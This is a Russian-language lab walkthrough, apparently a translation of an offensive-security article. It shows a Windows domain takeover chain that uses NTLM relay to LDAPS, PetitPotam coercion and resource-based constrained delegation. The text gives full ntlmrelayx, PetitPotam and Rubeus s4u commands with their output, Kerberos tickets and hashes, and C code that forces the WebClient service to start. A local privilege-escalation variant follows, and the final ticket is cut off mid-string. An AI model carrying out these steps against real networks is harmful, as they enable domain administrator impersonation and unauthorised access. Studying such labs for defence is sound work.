- 10.0.0.7 — рабочая версия Windows (WS01). Это ПК, который мы заставим аутентифицировать наш ПК Kali, который передаст аутентификацию на DC01 и настроит компьютер WS01 для удаленного захвата;

-10.0.0.6 — контроллер домена DC01;

-10.0.0.10 — Центр сертификации (CA01). Это ПК, из которого мы будем принуждать WS01 аутентифицироваться на DC01;

Настройка ретрансляции NTLM

Давайте настроим наш ретранслятор NTLM на поле Kali для ретрансляции аутентификации на DC01 через LDAP и укажем флаг --delegate-access, который автоматизирует RBCD https://www.ired.team/offensive-sec...object-take-over-and-privilged-code-execution

examples/ntlmrelayx.py -t ldaps://dc01 -smb2support --delegate-access

Примечания о RBCD:


Форсирование WS01 для аутентификации в NTLM Relay


На компьютере CA01 давайте вызовем PetitPotam и заставим WS01 (10.0.0.7) аутентифицироваться в нашем Kali (10.0.0.5), где настроено наше реле NTLM:

.\PetitPotam.exe kali@80/spotless.txt 10.0.0.7

Посмотреть вложение 41442


В нашем окне Kali мы видим, что входящая аутентификация от WS01$ была передана на ldaps://dc01 и что была создана новая учетная запись компьютера quaiivve$ (которой WS01 теперь доверяет и позволяет олицетворять любого пользователя домена):

Посмотреть вложение 41443

На приведенном ниже снимке экрана показано, что учетная запись компьютера QUAIIVEE действительно создана, и WS01$ имеет для нее некоторые привилегии:

Посмотреть вложение 41444

Кроме того, мы видим, что атрибут msDS-AllowedToActOnBehalfOfOtherIdentity на объекте-компьютере WS01 содержит какое-то двоичное значение, которое по умолчанию пусто на объектах-компьютерах:

Посмотреть вложение 41445

Из статьи https://www.ired.team/offensive-sec...xecution#modifying-target-computers-ad-object мы знаем, что атрибут msDS-AllowedToActOnBehalfOfOtherIdentity после успешного выполнения атаки ретрансляции LDAP эффективно кодирует следующее: компьютер WS01 доверяет учетной записи компьютера QUAIIVVE$ и позволяет ему выдавать себя за любой домен пользователя, включая администраторов домена, и предоставить им административный доступ к WS01.

Вычисление хэша

На компьютере CA01 вычислим хэш RC4 для вновь созданной учетной записи компьютера QUAIIVVE$: password :

.\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:'K_-Jzsb&uK!`TIH'

Посмотреть вложение 41446

Выдача себя за администратора домена на WS01


Время выдать себя за администратора домена.

На CA01 мы можем использовать команду rubeus s4u, которая:

1.Получить TGT за offense.local\QUAIIVVE$

2. Выполните S4U2Self, расширение Kerberos, позволяющее службе получать TGS для себя от имени другого пользователя. Таким образом, в нашем случае CA01 запросит TGS для QUAIIVVE$@OFFENSE.LOCAL как administrator@offense.local;

3. Выполните S4U2Proxy, расширение Kerberos, позволяющее службам запрашивать билеты TGS к другим службам от имени данного пользователя. В этом случае будет запрошен TGS для cifs/ws01.offense.local, что позволит CA01 получить доступ к файловой системе компьютера WS01 (т. е. к общему ресурсу c$) от имени Администратора домена administrator@offense.local:

PS C:\tools> .\Rubeus.exe s4u /user:QUAIIVVE$ /rc4:3F55290748348504327CDA267FCCA190 /impersonateuser:administrator@offense.local /msdsspn:cifs/ws01.offense.local /ptt /domain:offense.local

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4

[*] Action: S4U

[*] Using rc4_hmac hash: 3F55290748348504327CDA267FCCA190
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFAjCCBP6gAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPJMIIDxaADAgESoQMCAQKiggO3BIIDs4cS
mkUPxpLm/0VamMXun7JiMnv9KdcA6NEDqqRxGkaCnqAOUJuORZr8IMBRZIAQQ/0uMPqZFka4H/3hmGDu
j/nkZbIAAfKUnuXDEynJYR+Ra8u23pmYd2uTEtKFbNkiorpmoQVpEvgrpIWcE2qRsL2Gf4dVuV2NCxqV
b2aBjmWqWN/nBnaUCjp8B2aGa9FjxdP6s+SgPQiXCoC+80iOLu38Pssb4Cf+RJBNNszdYnPlp3SK9Lyd
7tDCsaF3aJO9H6+BYlI43MvQxyu40sW44skSB0sXrru3uFZpW6hdftAnUij3OArEVPjp52LN/VdLoUHq
VX/HFeiPlX0Fly0kJ+wAeeLu60r70V6poWQ9PgTjYB1Ak1NGXKIZApUPwiTkraJBQ4rotAnwN+oMu7qS
un9A4ARq2xeQDa9CqxXAfdtaBVYrYCwJSZfnzA6hlRVOw5tp7gA9bqvm7fj+gvUgFQhd/1FmTra5JIVp
LKmL7Uzj2WKZqPnHygGZ+v+2QMm1vDJXqhbhgL2Civy5Um3tH+F5UVyo24gzxx470EUniLKTJ8EKNHFy
idy+KVPJa7FAzzkgQgRDGgxmsYgPeSThKu3fkAijw4mz89aEek93F1/Hc/iMnwpC/7pSg07qy2uY9kz0
8yKxOtYC+GBLuCsXsijRIHNbqVdwIGkalVuejvY+iDoC4vGwOiPhYmI1WrC4qUT6c1/hnKBMF+FHmRyS
Njp0lCI0/71gy34xeb0J47hW07AtjiPPO43dU23G8rgWaSkjjws5SerEacHo4onilr47AqA53QRT3JDN
vo1Hy5oWKM1Tm3LfEIjQMv32AkqDqB+zjRM5de+PXpqfUtwSifAq3N4YcfqWHrbNFrU5oz5Cdz3GvxeL
uwgNxbVXXNbfFi1dHQ5XIwNeTyFpdHUglwmOyooqxcMrMiiNTUivRzheeEw+5SJvyHMsmVeQk0MeOUO1
n8Gx8mw18uLU/EvVnmwfOFHLM1d4wpUHuOVOC0TwHM3npuPXR6UzZcvKYHlIeFdeduF8Rt/rNq+vLdKu
5I6EEzc0ZCeuXcXu4FKHd/BDILwhwSK9is2emWmqUMNT+NnbZmHmXugM6I1t2+nIiVmB4DgOarumoomj
PqnkSYnXVxWyF+0bNqCokUKE4RS4igUsWlF8WRhJqZITGVLIqH+YRVuG6N4LqceJm2MAtpPPPRSxJ3SS
v3JP3LS9jvjHKyJZQokp46ZGn87M69o3QvrPPn0A0JZggKO4qTxSoHuhXQBqo4HaMIHXoAMCAQCigc8E
gcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQNUQwX1lLwtWzFUCVxDsvo6EPGw1PRkZFTlNFLkxP
Q0FMohYwFKADAgEBoQ0wCxsJUVVBSUlWVkUkowcDBQBA4QAApREYDzIwMjEwNzMxMjAwNzE5WqYRGA8y
MDIxMDgwMTA2MDcxOVqnERgPMjAyMTA4MDcyMDA3MTlaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKh
GTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWw=


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@offense.local' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

doIFijCCBYagAwIBBaEDAgEWooIElTCCBJFhggSNMIIEiaADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAU
oAMCAQGhDTALGwlRVUFJSVZWRSSjggRXMIIEU6ADAgEXoQMCAQGiggRFBIIEQXB9rMpWxc8XAm59iT0c
cY8CZNxmH2e4SEbns4G6xGiedqtEQMVIcGIyl/GJGdO84ybfMOXgOpW+W3ahEIERSgqlACp8X2cEItKZ
vMm5rJoRsPMpk8NPKLTDMHt2QhYj+KvTNthrOMSCfFHwvIxSE8BSdJ2mkVSAKGTlL2gejX+j7/rbR0ZX
BP2a5Faa7wnv54msElUPo/Q+kUlMQd1rwuEST9VgYpmr8nrsusIQzAjJ8M10UlE+SR/EAkN3/1D4wv22
ESa8SEiqZVgNtlWFkq4LpQe6VdTIkEVU+GQtze0H4KSNwv1gDCLhDKt7cfV5Fk05ZSBLTxqE2uxkTw+u
vxU73WElmdlxyI9eWr1cAwwIICayS40q3KGaLTaLJipKmVLVNrlbGFXeKOvlpytNsDEOcf+qx2PeGYcD
JLqD+XFB/wi4lJ0UwG2HNQnx0Ni96dsCV2NdvE9xiDgMaX4021lnb8h16JCnt/nqzNx/zvszBeeFJPDE
bTjrhPaiP/VdPXNCNvkJFmtGWP1U2egs6PWpOKPzSORX+bdg/nbI1jGRwWya4DjDodGr+r2if730HmL7
tZto1FeUdXP48TnZaQsJXFGvsdASwdZPrTb6VqyONq83ALnm9ChQBiJeDd93GiE9OF4NdChG3PpG87Go
VWdtDhuhNqRwVz2hTYjU9PrKdVyXbNM2AEtH6bHNtFjVzKksX6pEwVN+1cP+u7/Q/u55UgigUqnC0ioc
hL109Lj3MRVBxmoylZ3VhRjoVfA+Ek6lbws1Ox85wyi1XGQNeev9eYOOCfzlsVSTDxALmuxyeXVJa74K
BLrsrTqdf0A7MIStHpxuwtAeqFQx8q0ith8FRhTan55/mXhxw4Sz0eEnGdzCHp1HssRCC0r3DuMrisQ3
NnnS8CjR2rKIg+T36wpv+2myq5eI4p5c47z+1a91WXP9ZiFS2ORgkIhCdB/xDx0cYbSKy1zh2YXLTqk7
NLQU7vNAp/07vq6bDi6SKaDGHwT4bDkBByV4qzhxWGZzC2EBEqT9v/cY5a+DVo0ZYxhTBVXPdw754Jvg
G9Scxd4Z+hSB2DsLP9pvYqXitPjM4h8/BDWogA9tDhte7GXo8nX8zWdOZD/vw34t18UIA78i3NsplbCK
eg9dHiNWMP9v5O+KDGCaATMIJXKGlpDHIMFa4K6s+eofIahYA8MpVaEtYbFp1/P3br11faU70G0fEvUN
Ok/brmJ0tWAyvMrnchOuD7CexI52w0cQI82K4sipkQFPDYWFmlcM7fd5ADz4pkRQyrNOCYx2dXZLyeQQ
UNbSU0s4g1akKBpIcxOuHHIO/gTD/Fz4KFReH33H1WoRwXltiUqdJG5Sf1lV5r+N6dPym8AxBJCDIKfT
Plm9jfOIFbzQkhVIxR/Kw7P+VL91S/E43AdzbkOOyH5luJktGkI5n6GU22OmUV/vVLClYztYqaOB4DCB
3aADAgEAooHVBIHSfYHPMIHMoIHJMIHGMIHDoBswGaADAgEXoRIEEDWzKn9OuGcItJGKwvFv3SGhDxsN
T0ZGRU5TRS5MT0NBTKIoMCagAwIBCqEfMB0bG2FkbWluaXN0cmF0b3JAb2ZmZW5zZS5sb2NhbKMHAwUA
AKEAAKURGA8yMDIxMDczMTIwMDcxOVqmERgPMjAyMTA4MDEwNjA3MTlapxEYDzIwMjEwODA3MjAwNzE5
WqgPGw1PRkZFTlNFLkxPQ0FMqRYwFKADAgEBoQ0wCxsJUVVBSUlWVkUk

[*] Impersonating user 'administrator@offense.local' to target SPN 'cifs/ws01.offense.local'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'cifs/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

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
ZmZlbnNlLmxvY2Fs
[+] Ticket successfully imported!


Посмотреть вложение 41447

Теперь мы можем попытаться получить доступ к общему ресурсу WS01 c$ из CA01, чтобы подтвердить, получили ли мы административный доступ через WS01:

ls \\ws01.offense.local\c$

Посмотреть вложение 41448

Служба веб-клиента


Чтобы описанная выше атака сработала, в целевой системе WS01 должна быть запущена служба WebClient:

Посмотреть вложение 41449

Служба WebClient по умолчанию не работает на компьютерах, и обычно для ее запуска вам потребуются права администратора, однако можно принудительно запустить службу, используя приведенный ниже код:

C:
// Code from https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
#include <Windows.h>
#include <evntprov.h>

int main()
{
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
    { 0x22B6D684, 0xFA63, 0x4578,
    { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };

        REGHANDLE Handle;
    bool success = false;

    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
    {
        EVENT_DESCRIPTOR desc;
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
        EventUnregister(Handle);
    }

    return success;
}

Ниже показано, что служба WebClient не работает на WS01, и мы не можем ее запустить, однако выполнение приведенного выше кода (webclient.cpp, скомпилированного как webclient.exe) запускает для нас службу WebClient:

Посмотреть вложение 41450

RBCD: захват локального компьютера/повышение локальных привилегий

Также можно использовать ретранслятор ADCS NTLM + ограниченное делегирование на основе ресурсов (RBCD) для повышения привилегий на локальном компьютере, если обычные пользователи домена могут создавать в AD новые учетные записи компьютеров/компьютеров, которыми они являются по умолчанию, как указано в домене. атрибут корневого объекта ms-DS-MachineAccountQuota: 10, как показано ниже:

Посмотреть вложение 41451

Возможность создания учетных записей компьютеров также применима, когда речь идет о захвате удаленного компьютера.

Лабораторная установка

Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;
- 10.0.0.7 — рабочая станция Windows WS01. Это ПК, который мы заставим аутентифицировать наш ПК Kali, который передаст аутентификацию на DC01 и настроит компьютер WS01 для RBCD атаки https://www.ired.team/offensive-sec...object-take-over-and-privilged-code-execution
-10.0.0.6 — контроллер домена DC01;

Вычисление хэша

Опираясь на предыдущую успешную ретрансляцию NTLM, где мы заставили WS01$ аутентифицироваться на нашем ПК Kali (где прослушивалась наша ретрансляция NTLM), мы получили новую учетную запись компьютера QUAIIVVE$, созданную с паролем K_-Jzsb&uK!`TIH. Пересчитаем хэш пароля:

PS C:\Users\spotless\Desktop> .\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:"K_-Jzsb&uK!``TIH"

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password : K_-Jzsb&uK!`TIH
[*] Input username : QUAIIVVE$
[*] Input domain : offense.local
[*] Salt : OFFENSE.LOCALhostquaiivve.offense.local
[*] rc4_hmac : 3F55290748348504327CDA267FCCA190
[*] aes128_cts_hmac_sha1 : C0CB489DC3C96151AC20AD6E2A2EC160
[*] aes256_cts_hmac_sha1 : E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*] des_cbc_md5 : A8B625105779671C


Посмотреть вложение 41452

Выдача себя за администратора домена на WS01

Теперь мы можем выполнить S4U против WS01, где у нас в настоящее время низкий уровень привилегий, но мы хотим повысить уровень до администратора:

PS C:\Users\spotless\Desktop> .\Rubeus.exe s4u /user:QUAIIVVE$ /aes256:E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69 /impersonateuser:Administrator /msdsspn:host/ws01.offense.local /altservice:cifs /nowrap /ptt

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFIjCCBR6gAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPZMIID1aADAgESoQMCAQKiggPHBIIDwwZceX7rzd6MgVy9Sp4ojTXQP5wVAuFouB0dIiYddAwR2292F6slGNoWvLGD50UnPxiNh3uTvYabPTdD4opUY498Sraj9ObM0/mL812DVYqO1bw7MdcWGKRl429SaW/Of8Prvn5DplNVV7Guv/3/HhIGpUNCdWs/CSm22EE8gHTNuy0Csbm/NhR5pvptMyxpFtUve52f4sxdQ2S9C2gY+Q5mKC6yW5dE3r5SHZd0J0rMp0p/wVIrtlTvZyDEfm9Vnk8EtqcS5JrtD92OZdhtfhMYtBdPOM8qrwKrz0/pHQv+VARUq2CuKr9bHaJ9perELUN8LUCQV4mRsMPB9BREXQEOk7BR9SN97g5r27jWT4xWKJFprXj+lUq2hPEyQLMG4ty4ACqv1pzmRT29VPJeA/SZXPraMkBtfcbaX3PX2XCuWP7FLxO9EcTIqNMrOM15woCLL5l18k2Z2laOMAPjsRThqRPDRHSHW01BffxiG8kAkvwW9MC/9nukUshpgNByVOgEpPFmkHAcPH9+P/QSikqsJk9mQ6ZUcvsX2nHnfFKUe+stpqilOPoxWN9yOgMuQoBddfuhQ97PStqNkRlIxffMSf61w1Yvwmh5zL8lzg+ylnqN3RfBZ8j6WJ29bZWSgjrullnowTAuU45jLIWjAGVm6JZU8XfVHMwclCI+mFZbrN6p4ms3u54o7ha28Wj5Z84pfkghl5kGE8blFzplvQ9SXbVKYxLDBSLx7AyweUdAf211gaq8UeuikWRj3IWOmqvUg3WHDNVjB5i3H1AU71OQcyKQrLB4ThLWw/Ik9VpgDjkeUpy04VRIFZhr4YccMM3flLkrw1yUtTce+AGQaZEiDMsbFb6e943DzWW3Dok90s60FCc54izuXikpqYImtZS6kFyTstYmwulj6sMl8wjSoS1fnLvJW3fJk1Z1Go+eDxzfpZu/C+vvGScyl94HkLE/qy3iTSj5UMtoDMiGImlFO0+4RJMZaoxDiQA/q/IhX5RzLSGSinl+MR7smqkJqQMrgtKTw4XWa0G6tcisKTXBIKF5qhLPhf0hPE8hell40cJFAU4pOr7EIVrLdZzj0ygCg+1yWHyoQ0QBywlPqcSdAJzT4EreLxSWq72qB373AiLDvtHR2duzqmrWQG7pL+SSc1ySN5PaQ88AsuT5z9YDEGDEjR+rqqi91B3kOgZKbPCZKABroljUnFyQ9Y5dbn+KUr8Zz+jxkHw5vEgQ4sxbJndVum4/uAObv/jnyv94PuU+d7VhRIUYvMhg1pilQPOeC6OB6jCB56ADAgEAooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIL6+8li8w8EpUu/s9n5HRvCeWxNCmjzJ0B3XDi7BldVooQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjBwMFAEDhAAClERgPMjAyMTA4MDUyMTM1MDZaphEYDzIwMjEwODA2MDczNTA2WqcRGA8yMDIxMDgxMjIxMzUwNlqoDxsNT0ZGRU5TRS5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNb2ZmZW5zZS5sb2NhbA==


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

doIFVjCCBVKgAwIBBaEDAgEWooIEbzCCBGthggRnMIIEY6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjggQxMIIELaADAgEXoQMCAQGiggQfBIIEG7pIIqtIfCHKYJ41k2k+R5rEA9Xs+9hdpOyBseCmS6+7UKUAfDHoNuugUXdrP0sAczQS/dsImnKzE2rWwV0sutCPVBD0RtmZRTN3RqI5WSODF5yQH/WPO8YyCD1ZxLOdHrJctk/Kq8ElX6esRKqrsQDyJTxpJ4HCfIDEyT92Iyhg6Xr7qOrlqYZMEFOunRK/YrvF/EeFmfT7p80PTp5uy4qOsS1zZVB3QOFnV7ocVS2AUq/Ds/rEIRK896c6oAlokl60d/Gh5ori05srnzeqX0Ym1n5aDNKF4ImnD4ec6kYTjahds++6PjqQ2RdOyVTH7Gyq3Jsjlo0QVtxB1noqk4W1XbQ7dpyzjIXhSehiM5d6gES1u1iu+X0WWa+sYlSFgIV1U1Li+jk+1os2BX9OtpkZPdQF9oObZsUj0vwysyg21CoiM2tbZX5nvVca4XKfqF+EItG1PEImse3WDWT+xA3zTWiw+FZ2n0rzcY4hu67xvXW92ddjJAXPJqmOaUeDpbc2s1adFl8SKTgn5ec3pr4W4bRPTEgLHZRr+6fF7olvzNdY+V8RBZizfd3rIC7SBVBHuDl1IeUs+NVUz5293QxnCipntmhebEFjezLVvvHdbsyFXYf8y5WciN2+d95j5WCTX9bGhUKlGBbCJvamtlFZhrSvMZiIPLP6bGesI6mgXnK78X2gvlZcCCV+5a/rxCP/EaytNTGXbSo3aPHz6e7Czh8OuaKrmUPo7cLR2ZzurmUneVfyoVl0vQtL0ngwKC3ze2zhCX12u33JFY21VfnBHxQB79egNWe+IgKmqDk96/JBfAuJ7fYMob/ftchappSqMOerbkB0bZACSwbLkrngiZ8RhQ8iB07r/zd/ou+bStFa1QayJovGiC3s1tdhJcqQ5S0WadDdIELrJClYpSP30brFaIbxweiQl6H/WzPySiCd/hzUvXuvhDSwXV5960mllFSMxBkIhf81yCE67/ivUkZbSEOFunP8FbvCjHz23o10K4nEs6WqGavWBbUznX1KyvFPDem0+ELMxIrO2dqgjsBs+CVzm4dRi0WQr/VBbxArL6nxBxTey9HFZf1HZX3+XesrXUZBVfVyIwB1d0a2MmId00sOKhiZtnLwdb9OHBS4RU5HV70hlEZFOH4WSY6Pbv4e5ExxJOSeOGq8Ysh7Ex9WyEVcbVHXtmNalJGfxnvtjp4uF35Uvkg1zzFxCYG5XE+9tCn/QCl94xsiDGyYWwTqstXiGBoIZtDCs89RfWWo9NWqG1isKdPy9NQSq3htM1YjS9gv7G9b7YJaRNwgeb5s1Y1YqDDdaYGC3yfRnqrHStokGo8OSLwKD+F2ZQuQgODQiY7PfhBq5jCKpvAiTomwL43OxKswMBB4r+0XWrL0sZin8d7SUr6jgdIwgc+gAwIBAKKBxwSBxH2BwTCBvqCBuzCBuDCBtaAbMBmgAwIBF6ESBBD1cF+spxbTXDsrdF5xIsmdoQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypFjAUoAMCAQGhDTALGwlRVUFJSVZWRSQ=

[*] Impersonating user 'Administrator' to target SPN 'host/ws01.offense.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'host/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

doIGKDCCBiSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiJTAjoAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWyjggTlMIIE4aADAgESoQMCAQSiggTTBIIEzxoygQ+ct2ZWRHDVNhU9KLaDPr/Uy0kcfDjNmKOUTLrWEaAWrmd6XCku064fwuaumQAwT3VLTnj2r+FVyTQYkRTHB8r6FAjFUdPRNTBLX6dgiD7S9UbDgwpF/x/CXRt83T0F64MdzoTbCcsdP3ZPuJZgSI10nqo3dC7pAeop7+FP+h1fsycpKSWJ9b5km8rx7eQ4VcjoAOjxMizb1U1ruayBy8jwGoMjn4AdQ9GICyKdgy0almvAHxh9qm3QXPe/yHPiJKA2mDZ+QwxZRGcsMWf/kTbh6u131Y7hux2sfMMHnBWVT3dTlw+oPmNxWy/0EH+lsq0SvgCk7LAxAT+jL69An7GS+uDeSlWZrDFbqKOJZ0FQ1QPYj8lG8vUL01fYekWJ/njlMKc3yiXv682Rq+Tf3kAZ+e+P3VrAa/lBuhe5KhV/HcCSVB6lmiJemingL8t9sR2Zbljs15FtHAw8TnIF2Se6QWc1HWjRM1z6ywXXiDWyAL5MIPP53pM68kwwxXvNQ+/HEi3j066ZY0AvWz6HuO5PghokrWkaBFj9qUlj54viwq5gly1UWwD42oFK+Jo4MHTzEZ+OzrDCysfVW3zkgGuB9H8nMrL6JsHI0afSoBk2XIhKHZPF25Z+BXYe/gGQV6L8tGS1ldUcNS3jYUYvpe6ceMdka8gs2PCb7s0TwrtI+KtSOBfdP8goKk4u8QwTQP9wnB9UE9M0Hh1awVoG3qXngVYvptGL9B4+zmq2EOdLq15/Nu0oydbwSkm0UxkN0VOvND9e8wF1708loj3kztWi4VaoI6/4H+4QalPBUDkm0IlR4xn4pNVtq8G0EgXZX7l/KJPeIV8wfctxGoWlJ+98h7h5AcUj8iLVw8h+gRyb1/njT+XBrmtHXfZYiuicmcSfTa6j9YkUD1yo4tT3aQTV7k/rAf/A1iB/jgXriz4VJVfgsKBBQYtAeTLYbtyyyzIqD7NUzQSjo9MFaK+0ps26z2PF4S2egOtwS7X/uJs8E0zgs/HZ9Z+dNdkK/+Zg9I0DR5VQTuXIMRL82E6SPBJolilhJpH94spYtj5qjNd0u6XJaAnxUT6JoRSIVtxS9pkJUtUUURDvddQQ6q+FxRZepfs/4RuXG8Ui8s31QMvFWRRdJvuDAI6D9DXWyl/46kCBwmJ1PTFI4fmJK691W9unyMZ/SeQr7A8gQ4I/rqnixkX+nLzklfpJ4c62Y0f99gUa6z6iB